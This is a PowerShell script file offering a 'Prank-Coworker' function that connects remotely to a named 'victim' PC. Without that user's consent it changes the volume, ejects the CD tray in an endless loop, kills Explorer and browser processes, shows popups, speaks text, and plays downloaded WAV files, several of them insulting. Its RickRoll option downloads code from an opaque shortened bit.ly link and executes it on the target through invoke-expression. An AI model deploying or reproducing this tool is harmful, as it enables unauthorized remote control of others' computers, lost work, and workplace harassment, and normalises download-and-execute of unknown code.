#####################SCRIPT_CONTROLS##

#!#Name: Prank-Coworker

#!#Description: Fun scripts designed to mess with your friends

#!#Tags: Prank,Pranks,Funny,Coworker,Coworkers,Leisure,Joke,Practical,Harmless,Mess

#!#Type: Script,Function

#!#Product: PowerShell

####################/SCRIPT_CONTROLS##

<#

.SYNOPSIS

Harmless pranks to play on your friends

.DESCRIPTION

A collection of PowerShell pranks wrapped into a function. Run against remote computers. Prank List:

* Unmute speakers, set volume to max

* Mute speakers

* Eject CD tray once

* Eject CD tray continually

* Make PC speak your string

* Download WAV from internet and play in speakers

* Rick roll through speakers

* Crash Explorer.exe

* Crash all browsers

.PARAMETER Victim

Your intended victim's computer name (e.g. 'MYPC05')

.PARAMETER Speak

Uses Speech Synthesizer class to read your desired string out loud.

.PARAMETER WAVFromWeb

Specify a WAV file on a public internet page. WAV will be copied to C: of victim and played out loud.

.PARAMETER PopupNotification

Creates a generic Windows Forms popup notification with the message of your choice

.PARAMETER MaxVolume

Unmute victim's speakers and set the volume to max. Useful when combined with the other options.

.PARAMETER MuteVolume

Sets the victim's volume to minimum and then mutes the speakers. Handy for those coworkers that play things out loud...

.PARAMETER EjectTrayOnce

Eject the CD/DVD tray a single time. Set as a scheduled task!

.PARAMETER RickRoll

Play Rick Astley's "Never Going to Give You Up" through your victim's computer speakers. Be sure to set the volume to max for full effect!

.PARAMETER KillBrowser

Kills all IE, Firefox, and Chrome instances

.PARAMETER KillExplorer

Kills all Explorer.exe windows and interrupts all operations for a few seconds.

.PARAMETER EjectTrayRepeatedly

Eject the CD/DVD tray every time they close it. Runs forever. Set as a scheduled task!

.NOTES

Additional information about the function.

#>

function Prank - Coworker

{

[ CmdletBinding ( ) ]

param

(

[ Parameter ( Mandatory = $true ,

HelpMessage = 'Your intended victim' 's computer name (e.g. ' 'MYPC05' ')' ) ]

[ Alias ( 'Computer' ) ]

[ string ] $Victim ,

[ Parameter ( HelpMessage = 'Uses Speech Synthesizer class to read your desired string out loud.' ) ]

[ Alias ( 'Vocalize' ) ]

[ string ] $Speak ,

[ Parameter ( HelpMessage = 'Specify a WAV file on a public internet page. WAV will be copied to C: of victim and played out loud.' ) ]

[ string ] $WAVFromWeb ,

[ Parameter ( HelpMessage = 'Creates a generic Windows Forms popup notification with the message of your choice' ) ]

[ string ] $PopupNotification ,

[ Parameter ( HelpMessage = 'Switch parameter to unmute and set volume to max' ) ]

[ switch ] $MaxVolume ,

[ Parameter ( HelpMessage = 'Switch parameter to kill sound on victim' 's PC' ) ]

[ Alias ( 'ShutUp' ) ]

[ switch ] $MuteVolume ,

[ Parameter ( HelpMessage = 'Play Rick Astley' 's "Never Going to Give You Up" through your victim' 's computer speakers.' ) ]

[ switch ] $RickRoll ,

[ Parameter ( HelpMessage = 'Kills all IE, Firefox, and Chrome instances' ) ]

[ switch ] $KillBrowser ,

[ Parameter ( HelpMessage = 'Kills all Explorer.exe windows and interrupts all operations for a few seconds.' ) ]

[ switch ] $KillExplorer ,

[ Parameter ( HelpMessage = 'Switch parameter to eject the CD/DVD tray once' ) ]

[ switch ] $EjectTrayOnce ,

[ Parameter ( HelpMessage = 'Switch parameter to Eject the CD/DVD tray every time they close it' ) ]

[ switch ] $EjectTrayRepeatedly

)

##############################ESTABLISH SESSION

$SESSION = New - PSSession -ComputerName $Victim

##############################VOLUME CONTROLS

if ( ( $MaxVolume ) -or ( $MuteVolume ) )

{

if ( $MaxVolume )

{

$VolumeScript = {

Add - Type - TypeDefinition @ '

using System.Runtime.InteropServices;

[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IAudioEndpointVolume

{

// f(), g(), ... are unused COM method slots. Define these if you care

int f(); int g(); int h(); int i();

int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);

int j();

int GetMasterVolumeLevelScalar(out float pfLevel);

int k(); int l(); int m(); int n();

int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);

int GetMute(out bool pbMute);

}

[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IMMDevice

{

int Activate(ref System.Guid id, int clsCtx, int activationParams, out IAudioEndpointVolume aev);

}

[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IMMDeviceEnumerator

{

int f(); // Unused

int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);

}

[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }

public class Audio

{

static IAudioEndpointVolume Vol()

{

var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;

IMMDevice dev = null;

Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(/*eRender*/ 0, /*eMultimedia*/ 1, out dev));

IAudioEndpointVolume epv = null;

var epvid = typeof(IAudioEndpointVolume).GUID;

Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, /*CLSCTX_ALL*/ 23, 0, out epv));

return epv;

}

public static float Volume

{

get { float v = -1; Marshal.ThrowExceptionForHR(Vol().GetMasterVolumeLevelScalar(out v)); return v; }

set { Marshal.ThrowExceptionForHR(Vol().SetMasterVolumeLevelScalar(value, System.Guid.Empty)); }

}

public static bool Mute

{

get { bool mute; Marshal.ThrowExceptionForHR(Vol().GetMute(out mute)); return mute; }

set { Marshal.ThrowExceptionForHR(Vol().SetMute(value, System.Guid.Empty)); }

}

}

' @

#CONTROL VOLUME

[ audio ] ::Volume = 1 # 0.2 = 20%, etc.

#MUTE/UNMUTE

[ audio ] ::Mute = $false

}

}

if ( $MuteVolume )

{

$VolumeScript = {

Add - Type - TypeDefinition @ '

using System.Runtime.InteropServices;

[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IAudioEndpointVolume

{

// f(), g(), ... are unused COM method slots. Define these if you care

int f(); int g(); int h(); int i();

int SetMasterVolumeLevelScalar(float fLevel, System.Guid pguidEventContext);

int j();

int GetMasterVolumeLevelScalar(out float pfLevel);

int k(); int l(); int m(); int n();

int SetMute([MarshalAs(UnmanagedType.Bool)] bool bMute, System.Guid pguidEventContext);

int GetMute(out bool pbMute);

}

[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IMMDevice

{

int Activate(ref System.Guid id, int clsCtx, int activationParams, out IAudioEndpointVolume aev);

}

[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

interface IMMDeviceEnumerator

{

int f(); // Unused

int GetDefaultAudioEndpoint(int dataFlow, int role, out IMMDevice endpoint);

}

[ComImport, Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")] class MMDeviceEnumeratorComObject { }

public class Audio

{

static IAudioEndpointVolume Vol()

{

var enumerator = new MMDeviceEnumeratorComObject() as IMMDeviceEnumerator;

IMMDevice dev = null;

Marshal.ThrowExceptionForHR(enumerator.GetDefaultAudioEndpoint(/*eRender*/ 0, /*eMultimedia*/ 1, out dev));

IAudioEndpointVolume epv = null;

var epvid = typeof(IAudioEndpointVolume).GUID;

Marshal.ThrowExceptionForHR(dev.Activate(ref epvid, /*CLSCTX_ALL*/ 23, 0, out epv));

return epv;

}

public static float Volume

{

get { float v = -1; Marshal.ThrowExceptionForHR(Vol().GetMasterVolumeLevelScalar(out v)); return v; }

set { Marshal.ThrowExceptionForHR(Vol().SetMasterVolumeLevelScalar(value, System.Guid.Empty)); }

}

public static bool Mute

{

get { bool mute; Marshal.ThrowExceptionForHR(Vol().GetMute(out mute)); return mute; }

set { Marshal.ThrowExceptionForHR(Vol().SetMute(value, System.Guid.Empty)); }

}

}

' @

#CONTROL VOLUME

[ audio ] ::Volume = 0.1 # 0.2 = 20%, etc.

#MUTE/UNMUTE

[ audio ] ::Mute = $true

}

}

Invoke - Command - Session $SESSION - ScriptBlock $VolumeScript

}

##############################WAV FILE DOWNLOAD/EXECUTE

if ( $WAVFromWeb )

{

$SCRIPTBLOCK = {

$LOCALPATH = "C:\Temp.wav"

Invoke - Webrequest $args [ 0 ] - OutFile $LOCALPATH

$SOUNDPLAYER = New-Object Media.SoundPlayer $LOCALPATH

$SOUNDPLAYER .PlaySync ( )

}

Invoke - Command - Session $SESSION - ScriptBlock $SCRIPTBLOCK -ArgumentList $WAVFromWeb

}

##############################POPUP NOTIFICATION

if ( $PopupNotification )

{

invoke - command - session $SESSION - scriptblock { msg * $args [ 0 ] } - Args $PopupNotification -ErrorAction Stop

}

##############################EJECT OPTICAL DISK TRAYS

if ( $EjectTrayOnce )

{

Invoke - Command -ComputerName $Victim - ScriptBlock {

[ console ] ::beep ( 2000 , 500 )

$EJECT_TRAY = New-Object -ComObject "Shell.Application"

$EJECT_TRAY .Namespace ( 17 ) .Items ( ) | Where-Object { $_ . Type -eq "CD Drive" } | foreach { $_ .InvokeVerb ( "Eject" ) }

}

}

if ( $EjectTrayRepeatedly )

{

Invoke - Command -ComputerName $Victim - ScriptBlock {

while ( 1 -lt 10 )

{

[ console ] ::beep ( 2000 , 500 )

$EJECT_TRAY = New-Object -ComObject "Shell.Application"

$EJECT_TRAY .Namespace ( 17 ) .Items ( ) | Where-Object { $_ . Type -eq "CD Drive" } | foreach { $_ .InvokeVerb ( "Eject" ) }

}

}

}

##############################KILL EXPLORER

if ( $KillExplorer )

{

invoke - command - session $SESSION - scriptblock { Get-Process explorer | Stop-Process } -ErrorAction Stop

}

##############################KILL BROWSERS

if ( $KillBrowser )

{

invoke - command - session $SESSION - scriptblock { Get-Process firefox , iexplore , chrome | Stop-Process } -ErrorAction SilentlyContinue

}

##############################SPEECH SYNTHESIS

if ( $Speak )

{

$SCRIPTBLOCK = $ExecutionContext .InvokeCommand.NewScriptBlock ( " `$ WORDS.Speak( `" $Speak `" )" )

Invoke - Command - Session $SESSION - ScriptBlock { Add - Type - AssemblyName System.speech }

Invoke - Command - Session $SESSION - ScriptBlock { $WORDS = New-Object System.Speech.Synthesis.SpeechSynthesizer }

Invoke - Command - Session $SESSION - ScriptBlock $SCRIPTBLOCK

}

##############################RICK ROLL

if ( $RickRoll )

{

[ scriptblock ] $RICKROLL = { invoke-expression ( New-Object Net.WebClient ) .DownloadString ( "http://bit.ly/e0Mw9w" ) }

Invoke - Command - Session $SESSION - ScriptBlock $RICKROLL

}

}

$WAV_HomeAlone = 'http://www.wavlist.com/movies/011/ha-filthy.wav'

$WAV_CowboyD = 'http://www.wavlist.com/humor/001/cbdick.wav'

$WAV_Ernest = 'http://www.wavlist.com/humor/001/grndhog.wav'

$WAV_Duck = 'http://www.wavlist.com/humor/001/duckjob.wav'

$WAV_Bitchass = 'http://sounds.stoutman.com/sounds/bitchass.wav'

$WAV_DirtyRat = 'http://sounds.stoutman.com/sounds/dirtyrat.wav'

$WAV_HeyB = 'http://sounds.stoutman.com/sounds/heybitch.wav'

$WAV_Perv = 'http://sounds.stoutman.com/sounds/perv.wav'

$WAV_PuckerUp = 'http://sounds.stoutman.com/sounds/puckerup.wav'

$WAV_Shithead = 'http://sounds.stoutman.com/sounds/shithead.wav'

$WAV_StringofInsults = 'http://sounds.stoutman.com/sounds/yousmell.wav'

$WAV_Flatulence = 'http://sounds.stoutman.com/sounds/fartlaff.wav'